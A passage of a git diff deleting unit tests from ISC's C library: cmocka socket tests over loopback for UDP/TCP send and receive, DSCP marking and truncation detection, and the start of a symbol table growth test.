-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <time.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/atomic.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/socket.h>
-#include <isc/task.h>
-
-#include "../socket_p.h"
-#include "isctest.h"
-
-static bool recv_dscp;
-static unsigned int recv_dscp_value;
-static bool recv_trunc;
-isc_socket_t *s1 = NULL, *s2 = NULL, *s3 = NULL;
-isc_task_t *test_task = NULL;
-
-/*
- * Helper functions
- */
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	if (s1 != NULL) {
-		isc_socket_detach(&s1);
-	}
-	if (s2 != NULL) {
-		isc_socket_detach(&s2);
-	}
-	if (s3 != NULL) {
-		isc_socket_detach(&s3);
-	}
-	if (test_task != NULL) {
-		isc_task_detach(&test_task);
-	}
-
-	isc_test_end();
-
-	return (0);
-}
-
-typedef struct {
-	atomic_bool done;
-	atomic_uintptr_t socket;
-	isc_result_t result;
-} completion_t;
-
-static void
-completion_init(completion_t *completion) {
-	atomic_init(&completion->done, false);
-	atomic_init(&completion->socket, (uintptr_t)NULL);
-}
-
-static void
-accept_done(isc_task_t *task, isc_event_t *event) {
-	isc_socket_newconnev_t *nevent = (isc_socket_newconnev_t *)event;
-	completion_t *completion = event->ev_arg;
-
-	UNUSED(task);
-
-	completion->result = nevent->result;
-	atomic_store(&completion->done, true);
-	if (completion->result == ISC_R_SUCCESS) {
-		atomic_store(&completion->socket, (uintptr_t)nevent->newsocket);
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-event_done(isc_task_t *task, isc_event_t *event) {
-	isc_socketevent_t *sev = NULL;
-	isc_socket_connev_t *connev = NULL;
-	completion_t *completion = event->ev_arg;
-	UNUSED(task);
-
-	switch (event->ev_type) {
-	case ISC_SOCKEVENT_RECVDONE:
-	case ISC_SOCKEVENT_SENDDONE:
-		sev = (isc_socketevent_t *)event;
-		completion->result = sev->result;
-		if ((sev->attributes & ISC_SOCKEVENTATTR_DSCP) != 0) {
-			recv_dscp = true;
-			recv_dscp_value = sev->dscp;
-		} else {
-			recv_dscp = false;
-		}
-		recv_trunc = ((sev->attributes & ISC_SOCKEVENTATTR_TRUNC) != 0);
-		break;
-	case ISC_SOCKEVENT_CONNECT:
-		connev = (isc_socket_connev_t *)event;
-		completion->result = connev->result;
-		break;
-	default:
-		assert_false(true);
-	}
-	atomic_store(&completion->done, true);
-	isc_event_free(&event);
-}
-
-static void
-waitfor(completion_t *completion) {
-	int i = 0;
-	while (!atomic_load(&completion->done) && i++ < 5000) {
-		isc_test_nap(10000);
-	}
-	assert_true(atomic_load(&completion->done));
-}
-
-static void
-waitfor2(completion_t *c1, completion_t *c2) {
-	int i = 0;
-
-	while (!(atomic_load(&c1->done) && atomic_load(&c2->done)) &&
-	       i++ < 5000) {
-		isc_test_nap(10000);
-	}
-	assert_true(atomic_load(&c1->done) && atomic_load(&c2->done));
-}
-
-/*
- * Individual unit tests
- */
-
-/* Test UDP sendto/recv (IPv4) */
-static void
-udp_sendto_test(void **state) {
-	isc_result_t result;
-	isc_sockaddr_t addr1, addr2;
-	struct in_addr in;
-	char sendbuf[BUFSIZ], recvbuf[BUFSIZ];
-	completion_t completion;
-	isc_region_t r;
-
-	UNUSED(state);
-
-	in.s_addr = inet_addr("127.0.0.1");
-	isc_sockaddr_fromin(&addr1, &in, 0);
-	isc_sockaddr_fromin(&addr2, &in, 0);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp, &s1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s1, &addr1, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s1, &addr1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr1) != 0);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp, &s2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s2, &addr2, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s2, &addr2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr2) != 0);
-
-	result = isc_task_create(taskmgr, 0, &test_task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	snprintf(sendbuf, sizeof(sendbuf), "Hello");
-	r.base = (void *)sendbuf;
-	r.length = strlen(sendbuf) + 1;
-
-	completion_init(&completion);
-	result = isc_socket_sendto(s1, &r, test_task, event_done, &completion,
-				   &addr2, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	result = isc_socket_recv(s2, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "Hello");
-}
-
-/* Test UDP sendto/recv with duplicated socket */
-static void
-udp_dup_test(void **state) {
-	isc_result_t result;
-	isc_sockaddr_t addr1, addr2;
-	struct in_addr in;
-	char sendbuf[BUFSIZ], recvbuf[BUFSIZ];
-	completion_t completion;
-	isc_region_t r;
-
-	UNUSED(state);
-
-	in.s_addr = inet_addr("127.0.0.1");
-	isc_sockaddr_fromin(&addr1, &in, 0);
-	isc_sockaddr_fromin(&addr2, &in, 0);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp, &s1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s1, &addr1, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s1, &addr1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr1) != 0);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp, &s2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s2, &addr2, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s2, &addr2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr2) != 0);
-
-	result = isc_socket_dup(s2, &s3);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_create(taskmgr, 0, &test_task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	snprintf(sendbuf, sizeof(sendbuf), "Hello");
-	r.base = (void *)sendbuf;
-	r.length = strlen(sendbuf) + 1;
-
-	completion_init(&completion);
-	result = isc_socket_sendto(s1, &r, test_task, event_done, &completion,
-				   &addr2, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	snprintf(sendbuf, sizeof(sendbuf), "World");
-	r.base = (void *)sendbuf;
-	r.length = strlen(sendbuf) + 1;
-
-	completion_init(&completion);
-	result = isc_socket_sendto(s1, &r, test_task, event_done, &completion,
-				   &addr2, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	result = isc_socket_recv(s2, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "Hello");
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	result = isc_socket_recv(s3, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "World");
-}
-
-/* Test UDP sendto/recv (IPv4) */
-static void
-udp_dscp_v4_test(void **state) {
-	isc_result_t result;
-	isc_sockaddr_t addr1, addr2;
-	struct in_addr in;
-	char sendbuf[BUFSIZ], recvbuf[BUFSIZ];
-	completion_t completion;
-	isc_region_t r;
-	isc_socketevent_t *socketevent;
-
-	UNUSED(state);
-
-	in.s_addr = inet_addr("127.0.0.1");
-	isc_sockaddr_fromin(&addr1, &in, 0);
-	isc_sockaddr_fromin(&addr2, &in, 0);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp, &s1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s1, &addr1, ISC_SOCKET_REUSEADDRESS);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s1, &addr1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr1) != 0);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp, &s2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s2, &addr2, ISC_SOCKET_REUSEADDRESS);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s2, &addr2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr2) != 0);
-
-	result = isc_task_create(taskmgr, 0, &test_task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	snprintf(sendbuf, sizeof(sendbuf), "Hello");
-	r.base = (void *)sendbuf;
-	r.length = strlen(sendbuf) + 1;
-
-	completion_init(&completion);
-
-	socketevent = isc_socket_socketevent(
-		test_mctx, s1, ISC_SOCKEVENT_SENDDONE, event_done, &completion);
-	assert_non_null(socketevent);
-
-	if ((isc_net_probedscp() & ISC_NET_DSCPPKTV4) != 0) {
-		socketevent->dscp = 056; /* EF */
-		socketevent->attributes |= ISC_SOCKEVENTATTR_DSCP;
-	} else if ((isc_net_probedscp() & ISC_NET_DSCPSETV4) != 0) {
-		isc_socket_dscp(s1, 056); /* EF */
-		socketevent->dscp = 0;
-		socketevent->attributes &= ~ISC_SOCKEVENTATTR_DSCP;
-	}
-
-	recv_dscp = false;
-	recv_dscp_value = 0;
-
-	result = isc_socket_sendto2(s1, &r, test_task, &addr2, NULL,
-				    socketevent, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	result = isc_socket_recv(s2, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "Hello");
-
-	if ((isc_net_probedscp() & ISC_NET_DSCPRECVV4) != 0) {
-		assert_true(recv_dscp);
-		assert_int_equal(recv_dscp_value, 056);
-	} else {
-		assert_false(recv_dscp);
-	}
-}
-
-/* Test UDP sendto/recv (IPv6) */
-static void
-udp_dscp_v6_test(void **state) {
-	isc_result_t result;
-	isc_sockaddr_t addr1, addr2;
-	struct in6_addr in6;
-	char sendbuf[BUFSIZ], recvbuf[BUFSIZ];
-	completion_t completion;
-	isc_region_t r;
-	isc_socketevent_t *socketevent;
-	int n;
-
-	UNUSED(state);
-
-	n = inet_pton(AF_INET6, "::1", &in6.s6_addr);
-	assert_true(n == 1);
-	isc_sockaddr_fromin6(&addr1, &in6, 0);
-	isc_sockaddr_fromin6(&addr2, &in6, 0);
-
-	result = isc_socket_create(socketmgr, PF_INET6, isc_sockettype_udp,
-				   &s1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s1, &addr1, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s1, &addr1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr1) != 0);
-
-	result = isc_socket_create(socketmgr, PF_INET6, isc_sockettype_udp,
-				   &s2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s2, &addr2, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s2, &addr2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr2) != 0);
-
-	result = isc_task_create(taskmgr, 0, &test_task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	snprintf(sendbuf, sizeof(sendbuf), "Hello");
-	r.base = (void *)sendbuf;
-	r.length = strlen(sendbuf) + 1;
-
-	completion_init(&completion);
-
-	socketevent = isc_socket_socketevent(
-		test_mctx, s1, ISC_SOCKEVENT_SENDDONE, event_done, &completion);
-	assert_non_null(socketevent);
-
-	if ((isc_net_probedscp() & ISC_NET_DSCPPKTV6) != 0) {
-		socketevent->dscp = 056; /* EF */
-		socketevent->attributes = ISC_SOCKEVENTATTR_DSCP;
-	} else if ((isc_net_probedscp() & ISC_NET_DSCPSETV6) != 0) {
-		isc_socket_dscp(s1, 056); /* EF */
-	}
-
-	recv_dscp = false;
-	recv_dscp_value = 0;
-
-	result = isc_socket_sendto2(s1, &r, test_task, &addr2, NULL,
-				    socketevent, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	result = isc_socket_recv(s2, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "Hello");
-	if ((isc_net_probedscp() & ISC_NET_DSCPRECVV6) != 0) {
-		assert_true(recv_dscp);
-		assert_int_equal(recv_dscp_value, 056);
-	} else {
-		assert_false(recv_dscp);
-	}
-}
-
-/* Test TCP sendto/recv (IPv4) */
-static void
-tcp_dscp_v4_test(void **state) {
-	isc_result_t result;
-	isc_sockaddr_t addr1;
-	struct in_addr in;
-	char sendbuf[BUFSIZ], recvbuf[BUFSIZ];
-	completion_t completion, completion2;
-	isc_region_t r;
-
-	UNUSED(state);
-
-	in.s_addr = inet_addr("127.0.0.1");
-	isc_sockaddr_fromin(&addr1, &in, 0);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_tcp, &s1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_socket_bind(s1, &addr1, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s1, &addr1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr1) != 0);
-
-	result = isc_socket_listen(s1, 3);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_tcp, &s2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_create(taskmgr, 0, &test_task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	completion_init(&completion2);
-	result = isc_socket_accept(s1, test_task, accept_done, &completion2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	completion_init(&completion);
-	result = isc_socket_connect(s2, &addr1, test_task, event_done,
-				    &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor2(&completion, &completion2);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_true(atomic_load(&completion2.done));
-	assert_int_equal(completion2.result, ISC_R_SUCCESS);
-	s3 = (isc_socket_t *)atomic_load(&completion2.socket);
-
-	isc_socket_dscp(s2, 056); /* EF */
-
-	snprintf(sendbuf, sizeof(sendbuf), "Hello");
-	r.base = (void *)sendbuf;
-	r.length = strlen(sendbuf) + 1;
-
-	recv_dscp = false;
-	recv_dscp_value = 0;
-
-	completion_init(&completion);
-	result = isc_socket_sendto(s2, &r, test_task, event_done, &completion,
-				   NULL, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	result = isc_socket_recv(s3, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "Hello");
-
-	if ((isc_net_probedscp() & ISC_NET_DSCPRECVV4) != 0) {
-		if (recv_dscp) {
-			assert_int_equal(recv_dscp_value, 056);
-		}
-	} else {
-		assert_false(recv_dscp);
-	}
-}
-
-/* Test TCP sendto/recv (IPv6) */
-static void
-tcp_dscp_v6_test(void **state) {
-	isc_result_t result;
-	isc_sockaddr_t addr1;
-	struct in6_addr in6;
-	char sendbuf[BUFSIZ], recvbuf[BUFSIZ];
-	completion_t completion, completion2;
-	isc_region_t r;
-	int n;
-
-	UNUSED(state);
-
-	n = inet_pton(AF_INET6, "::1", &in6.s6_addr);
-	assert_true(n == 1);
-	isc_sockaddr_fromin6(&addr1, &in6, 0);
-
-	result = isc_socket_create(socketmgr, PF_INET6, isc_sockettype_tcp,
-				   &s1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_socket_bind(s1, &addr1, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s1, &addr1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr1) != 0);
-
-	result = isc_socket_listen(s1, 3);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_socket_create(socketmgr, PF_INET6, isc_sockettype_tcp,
-				   &s2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_create(taskmgr, 0, &test_task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	completion_init(&completion2);
-	result = isc_socket_accept(s1, test_task, accept_done, &completion2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	completion_init(&completion);
-	result = isc_socket_connect(s2, &addr1, test_task, event_done,
-				    &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor2(&completion, &completion2);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_true(atomic_load(&completion2.done));
-	assert_int_equal(completion2.result, ISC_R_SUCCESS);
-	s3 = (isc_socket_t *)atomic_load(&completion2.socket);
-
-	isc_socket_dscp(s2, 056); /* EF */
-
-	snprintf(sendbuf, sizeof(sendbuf), "Hello");
-	r.base = (void *)sendbuf;
-	r.length = strlen(sendbuf) + 1;
-
-	recv_dscp = false;
-	recv_dscp_value = 0;
-
-	completion_init(&completion);
-	result = isc_socket_sendto(s2, &r, test_task, event_done, &completion,
-				   NULL, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	result = isc_socket_recv(s3, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "Hello");
-
-	if ((isc_net_probedscp() & ISC_NET_DSCPRECVV6) != 0) {
-		/*
-		 * IPV6_RECVTCLASS is undefined for TCP however
-		 * if we do get it it should be the value we set.
-		 */
-		if (recv_dscp) {
-			assert_int_equal(recv_dscp_value, 056);
-		}
-	} else {
-		assert_false(recv_dscp);
-	}
-}
-
-/* probe dscp capabilities */
-static void
-net_probedscp_test(void **state) {
-	unsigned int n;
-
-	UNUSED(state);
-
-	n = isc_net_probedscp();
-	assert_true((n & ~ISC_NET_DSCPALL) == 0);
-
-	/* ISC_NET_DSCPSETV4 MUST be set if any is set. */
-	if (n & (ISC_NET_DSCPPKTV4 | ISC_NET_DSCPRECVV4)) {
-		assert_true((n & ISC_NET_DSCPSETV4) != 0);
-	}
-
-	/* ISC_NET_DSCPSETV6 MUST be set if any is set. */
-	if (n & (ISC_NET_DSCPPKTV6 | ISC_NET_DSCPRECVV6)) {
-		assert_true((n & ISC_NET_DSCPSETV6) != 0);
-	}
-
-#if 0
-	fprintf(stdout,"IPv4:%s%s%s\n",
-		(n & ISC_NET_DSCPSETV4) ? " set" : "none",
-		(n & ISC_NET_DSCPPKTV4) ? " packet" : "",
-		(n & ISC_NET_DSCPRECVV4) ? " receive" : "");
-
-	fprintf(stdout,"IPv6:%s%s%s\n",
-		(n & ISC_NET_DSCPSETV6) ? " set" : "none",
-		(n & ISC_NET_DSCPPKTV6) ? " packet" : "",
-		(n & ISC_NET_DSCPRECVV6) ? " receive" : "");
-#endif /* if 0 */
-}
-
-/* Test UDP truncation detection */
-static void
-udp_trunc_test(void **state) {
-	isc_result_t result;
-	isc_sockaddr_t addr1, addr2;
-	struct in_addr in;
-	char sendbuf[BUFSIZ * 2], recvbuf[BUFSIZ];
-	completion_t completion;
-	isc_region_t r;
-	isc_socketevent_t *socketevent;
-
-	UNUSED(state);
-
-	in.s_addr = inet_addr("127.0.0.1");
-	isc_sockaddr_fromin(&addr1, &in, 0);
-	isc_sockaddr_fromin(&addr2, &in, 0);
-
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp, &s1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s1, &addr1, ISC_SOCKET_REUSEADDRESS);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s1, &addr1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr1) != 0);
-	result = isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp, &s2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_bind(s2, &addr2, ISC_SOCKET_REUSEADDRESS);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_socket_getsockname(s2, &addr2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(isc_sockaddr_getport(&addr2) != 0);
-
-	result = isc_task_create(taskmgr, 0, &test_task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Send a message that will not be truncated.
-	 */
-	memset(sendbuf, 0xff, sizeof(sendbuf));
-	snprintf(sendbuf, sizeof(sendbuf), "Hello");
-	r.base = (void *)sendbuf;
-	r.length = strlen(sendbuf) + 1;
-
-	completion_init(&completion);
-
-	socketevent = isc_socket_socketevent(
-		test_mctx, s1, ISC_SOCKEVENT_SENDDONE, event_done, &completion);
-	assert_non_null(socketevent);
-
-	result = isc_socket_sendto2(s1, &r, test_task, &addr2, NULL,
-				    socketevent, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	recv_trunc = false;
-	result = isc_socket_recv(s2, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "Hello");
-	assert_false(recv_trunc);
-
-	/*
-	 * Send a message that will be truncated.
-	 */
-	memset(sendbuf, 0xff, sizeof(sendbuf));
-	snprintf(sendbuf, sizeof(sendbuf), "Hello");
-	r.base = (void *)sendbuf;
-	r.length = sizeof(sendbuf);
-
-	completion_init(&completion);
-
-	socketevent = isc_socket_socketevent(
-		test_mctx, s1, ISC_SOCKEVENT_SENDDONE, event_done, &completion);
-	assert_non_null(socketevent);
-
-	result = isc_socket_sendto2(s1, &r, test_task, &addr2, NULL,
-				    socketevent, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-
-	r.base = (void *)recvbuf;
-	r.length = BUFSIZ;
-	completion_init(&completion);
-	recv_trunc = false;
-	result = isc_socket_recv(s2, &r, 1, test_task, event_done, &completion);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	waitfor(&completion);
-	assert_true(atomic_load(&completion.done));
-	assert_int_equal(completion.result, ISC_R_SUCCESS);
-	assert_string_equal(recvbuf, "Hello");
-	assert_true(recv_trunc);
-}
-
-/*
- * Main
- */
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(udp_sendto_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(udp_dup_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(tcp_dscp_v4_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(tcp_dscp_v6_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(udp_dscp_v4_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(udp_dscp_v6_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(net_probedscp_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(udp_trunc_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/symtab_test.c b/lib/isc/tests/symtab_test.c
deleted file mode 100644
index 6ac0204c78..0000000000
--- a/lib/isc/tests/symtab_test.c
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/print.h>
-#include <isc/symtab.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-static void
-undefine(char *key, unsigned int type, isc_symvalue_t value, void *arg) {
-	UNUSED(arg);
-
-	assert_int_equal(type, 1);
-	isc_mem_free(test_mctx, key);
-	isc_mem_free(test_mctx, value.as_pointer);
-}
-
-/* test symbol table growth */
-static void
-symtab_grow(void **state) {
-	isc_result_t result;
-	isc_symtab_t *st = NULL;
-	isc_symvalue_t value;
-	isc_symexists_t policy = isc_symexists_reject;
-	int i;
-
-	UNUSED(state);
-
-	result = isc_symtab_create(test_mctx, 3, undefine, NULL, false, &st);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_non_null(st);
-
-	/* Nothing should be in the table yet */
-
-	/*
-	 * Put 1024 entries in the table (this should necessate
-	 * regrowing the hash table several times
-	 */
-	for (i = 0; i < 1024; i++) {
-		char str[16], *key;
-
-		snprintf(str, sizeof(str), "%04x", i);
-		key = isc_mem_strdup(test_mctx, str);
-		assert_non_null(key);
-		value.as_pointer = isc_mem_strdup(test_mctx, str);
-		assert_non_null(value.as_pointer);
-		result = isc_symtab_define(st, key, 1, value, policy);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		if (result != ISC_R_SUCCESS) {
-			undefine(key, 1, value, NULL);
-		}
-	}
-
-	/*
-	 * Try to put them in again; this should fail
-	 */
-	for (i = 0; i < 1024; i++) {
-		char str[16], *key;
-
-		snprintf(str, sizeof(str), "%04x", i);
-		key = isc_mem_strdup(test_mctx, str);
-		assert_non_null(key);
-		value.as_pointer = isc_mem_strdup(test_mctx, str);
-		assert_non_null(value.as_pointer);
-		result = isc_symtab_define(st, key, 1, value, policy);
-		assert_int_equal(result, ISC_R_EXISTS);
-		undefine(key, 1, value, NULL);
-	}
-
-	/*
-	 * Retrieve them; this should succeed
-	 */
-	for (i = 0; i < 1024; i++) {
-		char str[16];
-
-		snprintf(str, sizeof(str), "%04x", i);
